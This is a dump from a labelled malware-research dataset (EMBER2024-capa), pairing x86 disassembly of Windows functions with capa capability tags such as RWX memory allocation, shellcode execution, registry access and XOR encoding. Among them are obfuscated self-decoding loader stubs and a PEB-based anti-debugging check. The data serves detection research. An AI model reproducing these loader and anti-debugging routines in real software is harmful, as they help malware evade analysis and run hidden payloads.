joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47f8ca
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x4ecd8c], 0
push esi
jne 0x47f838
call fcn.0047f74c
test eax, eax
je 0x47f87b
mov eax, dword [0x4ecd8c]
cmp eax, 1
jne 0x47f859
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x47f87b
pop esi
ret
push eax
call dword [0x4ecd94]
test eax, eax
jne 0x47f8c3
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x47f87f
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x4ecd8c]
call dword [0x4ecd94]
mov edi, eax
test edi, edi
je 0x47f8a4
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x47f8c0
mov edi, esi
add esi, 0xff0
push edi
push dword [0x4ecd8c]
call dword [0x4ecd90]
add edi, 0x10
cmp edi, esi
jb 0x47f8ac
mov eax, edi
pop edi
pop esi
ret
jmp 0x47f825

Function at 0x481910
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x4e97d0]
xor eax, esp
mov dword [esp + 0x208], eax
push ebx
mov ebx, dword [esp + 0x214]
test ebx, ebx
jne 0x481948
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.004841c7
add esp, 0x20c
ret
push esi
push 0x208
lea eax, [esp + 0xc]
push 0
push eax
call fcn.004840d0
add esp, 0xc
push 0x104
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jbe 0x481a13
mov ecx, ebx
lea esi, [ecx + 2]
lea ebx, [ebx]
mov dx, word [ecx]
add ecx, 2
test dx, dx
jne 0x481980
sub ecx, esi
sar ecx, 1
mov edx, 0x103
sub edx, ecx
cmp eax, edx
jae 0x481a13
push edi
lea edi, [esp + 0xc]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4819a2
mov eax, dword [0x4ce474]
mov dword [edi], eax
mov eax, ebx
mov edx, ebx
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4819c0
lea edi, [esp + 0xc]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x4819d4
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.004841c7
add esp, 0x20c
ret
mov ecx, dword [esp + 0x210]
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004841c7
add esp, 0x20c
ret
Function at 0x482150
Capabilities:
Get storage device properties

Disassembly:
mov eax, 0x2c14
call fcn.004848d0
mov eax, dword [0x4e97d0]
xor eax, esp
mov dword [esp + 0x2c10], eax
mov eax, dword [esp + 0x2c18]
push edi
xor edi, edi
mov dword [esp + 0xc], eax
cmp eax, edi
je 0x4822bb
cmp dword [esp + 0x2c20], edi
je 0x4822bb
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
mov dword [esp + 0x10], edi
xor ebx, ebx
lea ebx, [ebx]
push ebx
push 0x4cd348
lea eax, [esp + 0x30]
push 0x100
push eax
call fcn.00412750
add esp, 0x10
push edi
push edi
push 3
push edi
push 3
push edi
lea ecx, [esp + 0x40]
push ecx
call ebp
mov esi, eax
cmp esi, 0xffffffff
je 0x482294
xor eax, eax
push 0x2710
lea edx, [esp + 0x514]
push edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
push edx
mov dword [esp + 0x20], edi
mov dword [esp + 0x30], eax
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
call fcn.004840d0
add esp, 0xc
push edi
lea eax, [esp + 0x18]
push eax
push 0x2710
lea ecx, [esp + 0x51c]
push ecx
push 0xc
lea edx, [esp + 0x30]
push edx
push 0x2d1400
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x482287
push 0x3e8
lea eax, [esp + 0x12c]
push edi
push eax
call fcn.004840d0
mov edx, dword [esp + 0x534]
lea ecx, [esp + 0x134]
push ecx
push 1
push edx
lea eax, [esp + 0x528]
push eax
call fcn.00483ec0
mov edx, dword [esp + 0x2c48]
mov eax, dword [esp + 0x34]
add esp, 0x1c
lea ecx, [esp + 0x128]
push ecx
push edx
push eax
call fcn.00412840
test eax, eax
jne 0x482287
mov dword [esp + 0x10], 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x10], edi
jne 0x48229e
inc ebx
cmp ebx, 0x10
jl 0x4821a0
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
mov ecx, dword [esp + 0x2c10]
xor ecx, esp
call fcn.004841c7
add esp, 0x2c14
ret
mov ecx, dword [esp + 0x2c14]
pop edi
xor ecx, esp
xor eax, eax
call fcn.004841c7
add esp, 0x2c14
ret
Function at 0x482560
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x2ec
mov eax, dword [0x4e97d0]
xor eax, esp
mov dword [esp + 0x2e8], eax
push edi
mov edi, dword [esp + 0x2f4]
mov dword [esp + 0x18], edi
test edi, edi
je 0x482761
cmp dword [esp + 0x2f8], 0
je 0x482761
push 0x64
lea eax, [esp + 0x20]
push 0
push eax
call fcn.004840d0
add esp, 0xc
lea ecx, [esp + 4]
push ecx
push 8
push 0
push 0x4c9dbc
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x482728
mov ecx, dword [esp + 4]
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x100]
push eax
push ebx
mov esi, 0x104
push ecx
mov dword [esp + 0x30], esi
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x48271b
lea ebx, [ebx]
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x14]
push edx
push 1
push 0
lea eax, [esp + 0xf8]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4826e9
lea edx, [esp + 0x1c]
push edx
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x1f4]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0
push 0x4cd3dc
push edx
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4826de
push 0x64
push eax
lea eax, [esp + 0x90]
push eax
call fcn.004840d0
lea ecx, [esp + 0x1fc]
push 0x64
push ecx
lea edi, [esp + 0x9c]
call fcn.00482450
add esp, 0x14
test eax, eax
je 0x4826de
cmp byte [esp + 0x24], 0
je 0x4826a2
lea edx, [esp + 0x24]
push edx
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jge 0x4826de
lea eax, [esp + 0x24]
lea esi, [esp + 0x88]
mov ecx, eax
mov edx, 0x64
sub esi, ecx
lea ecx, [edx + 0x7fffff9a]
test ecx, ecx
je 0x4826d1
mov cl, byte [esi + eax]
test cl, cl
je 0x4826d1
mov byte [eax], cl
inc eax
sub edx, 1
jne 0x4826b6
jmp 0x4826d5
test edx, edx
jne 0x4826d6
dec eax
mov byte [eax], 0
mov esi, 0x104
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0xc]
push 0
push 0
push 0
push 0
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x100]
push ecx
inc ebx
push ebx
push edx
mov dword [esp + 0x30], esi
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
je 0x482600
mov edi, dword [esp + 0x20]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
cmp byte [esp + 0x1c], 0
je 0x482761
mov edx, dword [esp + 0x2f8]
lea ecx, [esp + 0x1c]
push ecx
push edx
push edi
call fcn.00412840
xor ecx, ecx
test eax, eax
setge cl
pop edi
mov eax, ecx
mov ecx, dword [esp + 0x2e8]
xor ecx, esp
call fcn.004841c7
add esp, 0x2ec
ret
mov ecx, dword [esp + 0x2ec]
pop edi
xor ecx, esp
xor eax, eax
call fcn.004841c7
add esp, 0x2ec
ret
Function at 0x482b00
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x50c
mov eax, dword [0x4e97d0]
xor eax, esp
mov dword [esp + 0x508], eax
push ebp
mov ebp, dword [esp + 0x514]
test edi, edi
je 0x482c7d
cmp ebp, 0x20
jb 0x482c7d
push 0x400
lea eax, [esp + 0x110]
push 0
push eax
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0x400
call fcn.004840d0
add esp, 0xc
lea ecx, [esp + 4]
push ecx
lea edx, [esp + 0x110]
push edx
lea eax, [esp + 0x10]
push eax
push 0x4c9e2c
push str.Software360SafeLiveup
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
jne 0x482c7d
lea eax, [esp + 0x10c]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x482b90
sub eax, edx
cmp eax, 0x40
jne 0x482c7d
push ebx
lea edx, [eax + 0x40]
push esi
lea eax, [esp + 0x14]
lea esi, [esp + 0x114]
mov ecx, eax
sub esi, ecx
lea ecx, [edx - 0x60]
test ecx, ecx
je 0x482bce
mov cl, byte [esi + eax]
test cl, cl
je 0x482bce
mov byte [eax], cl
inc eax
sub edx, 1
jne 0x482bb6
jmp 0x482bd2
test edx, edx
jne 0x482bd3
dec eax
mov byte [eax], 0
lea eax, [esp + 0x94]
lea edx, [esp + 0x134]
mov ecx, eax
mov esi, 0x80
sub edx, ecx
lea ecx, [ecx]
lea ecx, [esi + 0x7fffff7e]
test ecx, ecx
je 0x482c0b
mov cl, byte [edx + eax]
test cl, cl
je 0x482c0b
mov byte [eax], cl
inc eax
sub esi, 1
jne 0x482bf0
jmp 0x482c0f
test esi, esi
jne 0x482c10
dec eax
push 0x400
lea edx, [esp + 0x118]
push 0
push edx
mov byte [eax], 0
call fcn.004840d0
push 0x400
lea ebx, [esp + 0x124]
lea ecx, [esp + 0x24]
call fcn.00481bd0
add esp, 0x10
lea eax, [esp + 0x94]
push eax
mov ecx, ebx
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
pop esi
pop ebx
test eax, eax
jne 0x482c7d
lea edx, [esp + 0xc]
push edx
push ebp
push edi
call fcn.00412840
neg eax
sbb eax, eax
inc eax
pop ebp
mov ecx, dword [esp + 0x508]
xor ecx, esp
call fcn.004841c7
add esp, 0x50c
ret
mov ecx, dword [esp + 0x50c]
pop ebp
xor ecx, esp
xor eax, eax
call fcn.004841c7
add esp, 0x50c
ret
Function at 0x482ca0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x290
mov eax, dword [0x4e97d0]
xor eax, esp
mov dword [esp + 0x28c], eax
push ebx
push esi
push 0x80
lea eax, [esp + 0x14]
push 0
push eax
call fcn.004840d0
push 0x80
lea ebx, [esp + 0x20]
mov ecx, edi
call fcn.00481bd0
lea eax, [esp + 0x1a0]
mov edx, edi
mov ecx, eax
add esp, 0x10
mov esi, 0x104
sub edx, ecx
lea esp, [esp]
lea ecx, [esi + 0x7ffffefa]
test ecx, ecx
je 0x482d0b
mov cl, byte [edx + eax]
test cl, cl
je 0x482d0b
mov byte [eax], cl
inc eax
sub esi, 1
jne 0x482cf0
jmp 0x482d0f
test esi, esi
jne 0x482d10
dec eax
lea edx, [esp + 0x10]
push edx
mov byte [eax], 0
push 0x104
lea eax, [esp + 0x198]
push eax
call fcn.00417160
push 0xff
lea ecx, [esp + 0x95]
push 0
push ecx
mov dword [esp + 0x18], 1
mov byte [esp + 0x9c], 0
call fcn.004840d0
add esp, 0xc
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x94]
push eax
lea ecx, [esp + 0x14]
push ecx
push 0x4c9e2c
push str.Software360SafeLiveup
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x20], 0x100
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov esi, dword [sym.imp.SHLWAPI.dll_SHSetValueA]
test eax, eax
jne 0x482deb
mov ecx, edi
lea eax, [esp + 0x90]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x482db3
test dl, dl
je 0x482daf
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x482db3
add eax, 2
add ecx, 2
test dl, dl
jne 0x482d93
xor eax, eax
jmp 0x482db8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x482deb
lea eax, [esp + 0x90]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x482dc6
sub eax, edx
push eax
lea edx, [esp + 0x94]
push edx
push 1
push str.mid_old
push str.Software360SafeLiveup
push reloc.OLEAUT32.dll_SysReAllocString
call esi
lea eax, [esp + 0x190]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x482df5
sub eax, edx
push eax
lea eax, [esp + 0x194]
push eax
push 1
push 0x4c9e2c
push str.Software360SafeLiveup
push reloc.OLEAUT32.dll_SysReAllocString
call esi
mov ecx, dword [esp + 0x294]
pop esi
pop ebx
xor ecx, esp
call fcn.004841c7
add esp, 0x290
ret

Function at 0x4841c7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4e97d0]
jne 0x4841d1
repz ret
jmp fcn.00492536
Function at 0x4ab593
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0049471e
and dword [ebp - 4], 0
cmp dword [0x4ee334], 0
mov ebx, eax
jne 0x4ab644
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4ab6f5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4ab6f5
push eax
call fcn.004946ac
mov dword [esp], 0x4cc5dc
push edi
mov dword [0x4ee334], eax
call esi
push eax
call fcn.004946ac
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4ee338], eax
call esi
push eax
call fcn.004946ac
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4ee33c], eax
call esi
push eax
call fcn.004946ac
pop ecx
mov dword [0x4ee344], eax
test eax, eax
je 0x4ab644
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004946ac
pop ecx
mov dword [0x4ee340], eax
mov eax, dword [0x4ee340]
cmp eax, ebx
je 0x4ab69c
cmp dword [0x4ee344], ebx
je 0x4ab69c
push eax
call fcn.00494727
push dword [0x4ee344]
mov esi, eax
call fcn.00494727
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4ab69c
test edi, edi
je 0x4ab69c
call esi
test eax, eax
je 0x4ab693
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4ab693
test byte [ebp - 0xc], 1
jne 0x4ab69c
or dword [ebp + 0x10], 0x200000
jmp 0x4ab6d5
mov eax, dword [0x4ee338]
cmp eax, ebx
je 0x4ab6d5
push eax
call fcn.00494727
pop ecx
test eax, eax
je 0x4ab6d5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4ab6d5
mov eax, dword [0x4ee33c]
cmp eax, ebx
je 0x4ab6d5
push eax
call fcn.00494727
pop ecx
test eax, eax
je 0x4ab6d5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4ee334]
call fcn.00494727
pop ecx
test eax, eax
je 0x4ab6f5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4ab6f7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x3000901e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x3000902d
pop dword [ebp - 0xc]
mov eax, 0x6e8b40bd
add eax, 0xc1754f70
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x3999d
push 0
mov eax, 0xce325324
sub eax, 0x9e32420c
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0xb427b519
add ecx, 0x4bd89384
xor ebx, ebx
add ebx, eax
mov edi, 0x3c42a5d5
add edi, 0xf3bfc22b
add edi, dword [ebp - 0xc]
mov edx, 0xb03a77b5
sub edx, 0x69701690
xor dword [ebp - 4], ecx
mov esi, dword [edi]
sub esi, edx
mov dword [ebp - 4], 0xad9fefdf
mov dword [ebx], esi
sub dword [ebp - 4], 0x820fde74
add ebx, 0x16d1f988
add ebx, 0xe92e067c
add edi, 0xac8cc8f8
sub edi, 0xac8cc8f4
loop 0x3000908e
add eax, 0x2cbb1b23
add eax, 0xd345fa24
mov ebx, eax
add eax, 0x2bd9a982
sub eax, 0x2bd9a97d
mov ecx, 0x30000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x30011f39
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x30020490]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
and dword [ebp - 0x210], 0
or dword [ebp - 0x214], 0xffffffff
mov dword [ebp - 0x220], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp + 0x14]
push esi
push edi
mov dword [ebp - 0x224], eax
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathW]
test eax, eax
mov edi, dword [sym.imp.kernel32.dll_GetLastError]
jne 0x30011fb5
call edi
mov esi, eax
test esi, esi
jle 0x30011fad
and esi, 0xffff
or esi, 0x80070000
test esi, esi
jl 0x300120b4
jmp 0x30011fbb
mov esi, dword [ebp - 0x21c]
and dword [ebp - 0x218], 0
cmp dword [ebp - 0x214], 0xffffffff
jne 0x3001206c
push dword [ebp - 0x220]
lea eax, [ebp - 0x20c]
push dword [ebp - 0x218]
push ebx
push eax
lea eax, [ebp - 0x210]
push 0x30002388
push eax
call main
mov esi, eax
add esp, 0x18
test esi, esi
jl 0x300120b4
push 0
push 0x80
push 1
push 0
push 1
push 0x40000000
push dword [ebp - 0x210]
call dword [sym.imp.kernel32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 0x214], eax
jne 0x30012056
call edi
test eax, eax
jg 0x30012036
call edi
mov esi, eax
jmp 0x30012046
call edi
mov esi, eax
and esi, 0xffff
or esi, 0x80070000
cmp esi, 0x80070050
jne 0x30012052
xor esi, esi
jmp 0x30012056
test esi, esi
jl 0x300120b4
inc dword [ebp - 0x218]
cmp dword [ebp - 0x218], 0x3e8
jl 0x30011fc2
mov ecx, dword [ebp - 0x224]
test ecx, ecx
je 0x3001207e
mov eax, dword [ebp - 0x214]
mov dword [ecx], eax
mov eax, dword [ebp - 0x21c]
test eax, eax
je 0x30012097
mov edx, dword [ebp - 0x210]
and dword [ebp - 0x210], 0
mov dword [eax], edx
test esi, esi
jl 0x3001209f
test ecx, ecx
jne 0x300120b4
cmp dword [ebp - 0x214], 0xffffffff
je 0x300120b4
push dword [ebp - 0x214]
call dword [sym.imp.kernel32.dll_CloseHandle]
cmp dword [ebp - 0x210], 0
je 0x300120c8
push dword [ebp - 0x210]
call main
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.30014af0
leave
ret 0x10
Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Check for peb beingdebugged flag
Check for peb ntglobalflag flag

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
jne 0x10001096
lea eax, [ebp + 0xc]
push eax
push 0x40
push 0x1d8000
push 0x401000
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10001096
push esi
push edi
mov edx, dword fs:[0x30]
movzx eax, byte ds:[edx + 2]
imul eax, eax, 0x800
add esp, eax
mov eax, dword ds:[edx + 0x68]
and eax, 0x70
imul eax, eax, 0x200
sub esp, eax
push 0x400
push 0
push 0x100c7640
call fcn.10005a60
add esp, 0xc
mov eax, dword fs:[0x18]
mov eax, dword ds:[eax + 0x30]
movzx eax, byte ds:[eax + 2]
imul eax, eax, 0x400
add esp, eax
mov ecx, 7
mov esi, str._1__1__1__1__1__1__1__1__1__1
mov edi, 0x100c7640
rep movsd dword es:[edi], dword [esi]
push 0x100c52a8
movsw word es:[edi], word [esi]
call fcn.10002680
pop edi
pop esi
mov eax, 1
pop ebp
ret 0xc
Function at 0x100035d7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x100035e1
repz ret
jmp fcn.10004220

Function at 0x1000d03c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10006aab
and dword [ebp - 0x14], 0
cmp dword [0x10016e34], 0
mov dword [ebp - 0x18], eax
jne 0x1000d0ef
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1000d197
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1000d197
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10016e34], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10016e38], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10016e3c], eax
call edi
push eax
call esi
mov dword [0x10016e44], eax
test eax, eax
je 0x1000d0ef
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10016e40], eax
mov eax, dword [0x10016e40]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1000d148
cmp dword [0x10016e44], ecx
je 0x1000d148
push eax
call esi
push dword [0x10016e44]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1000d148
test ebx, ebx
je 0x1000d148
call edi
test eax, eax
je 0x1000d13f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000d13f
test byte [ebp - 8], 1
jne 0x1000d148
or dword [ebp + 0x10], 0x200000
jmp 0x1000d17b
mov eax, dword [0x10016e38]
cmp eax, dword [ebp - 0x18]
je 0x1000d17b
push eax
call esi
test eax, eax
je 0x1000d17b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1000d17b
mov eax, dword [0x10016e3c]
cmp eax, dword [ebp - 0x18]
je 0x1000d17b
push eax
call esi
test eax, eax
je 0x1000d17b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10016e34]
call esi
test eax, eax
je 0x1000d197
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1000d199
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100035d7
leave
ret
Function at 0x10001d60
Capabilities:
Link many functions at runtime

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x24], 0
jne 0x10001de0
push str.winmm.dll
call fcn.10001f55
test al, al
jne 0x10001d79
pop esi
ret
push edi
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioInstallIOProcA
push dword [esi + 4]
call edi
push str.mmioOpenA
push dword [esi + 4]
mov dword [esi + 8], eax
call edi
push str.mmioClose
push dword [esi + 4]
mov dword [esi + 0xc], eax
call edi
push str.mmioAscend
push dword [esi + 4]
mov dword [esi + 0x10], eax
call edi
push str.mmioRead
push dword [esi + 4]
mov dword [esi + 0x14], eax
call edi
push str.mmioDescend
push dword [esi + 4]
mov dword [esi + 0x18], eax
call edi
push str.mciSendCommandA
push dword [esi + 4]
mov dword [esi + 0x1c], eax
call edi
mov dword [esi + 0x20], eax
mov byte [esi + 0x24], 1
pop edi
mov al, 1
pop esi
ret

Function at 0x10001f55
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10001f64
pop dword [ebp - 0x18]
mov eax, 0x83fa71d9
add eax, 0x8c05ad8b
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xd93413b
sub dword [ebp - 0x28], 0xbf40fbf0
mov dword [ebp - 0x24], 0xa5bd1838
add dword [ebp - 0x24], 0x8c76340d
mov dword [ebp - 0x20], 0x67ed483a
sub dword [ebp - 0x20], 0x1ba1040c
mov dword [ebp - 0x1c], 0x98feda34
sub dword [ebp - 0x1c], 0x98feda34
lea eax, [ebp - 0x28]
push eax
mov eax, 0x6b5b39c
sub eax, 0xf6b50320
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xf792a1c5
sub dword [ebp - 0x28], 0x8320386f
mov dword [ebp - 0x24], 0xbb1b0d
sub dword [ebp - 0x24], 0xbf4eb998
mov dword [ebp - 0x20], 0xca6f8d10
sub dword [ebp - 0x20], 0x670020a4
mov dword [ebp - 0x1c], 0x538cac8d
add dword [ebp - 0x1c], 0xac735373
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x385de
push 0
call eax
mov ecx, 0xfbff9a7d
sub ecx, 0xfbff503b
xor esi, esi
add esi, eax
mov edi, 0x10019600
add edi, dword [ebp - 0x18]
mov edx, 0xd1722501
xor dword [ebp - 0xc], edi
mov ebx, dword [edi]
xor dword [ebp - 0xc], ecx
sub ebx, edx
xor dword [ebp - 8], 0xe89ebbf7
mov dword [esi], ebx
add dword [ebp - 0x14], 0x764a9423
add esi, 4
add edi, 0x964b924a
sub edi, 0x964b9246
loop 0x10002077
add eax, 0x11bdb
xor ebx, ebx
add ebx, eax
add eax, 0x41d69207
add eax, 0xbe296dfe
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret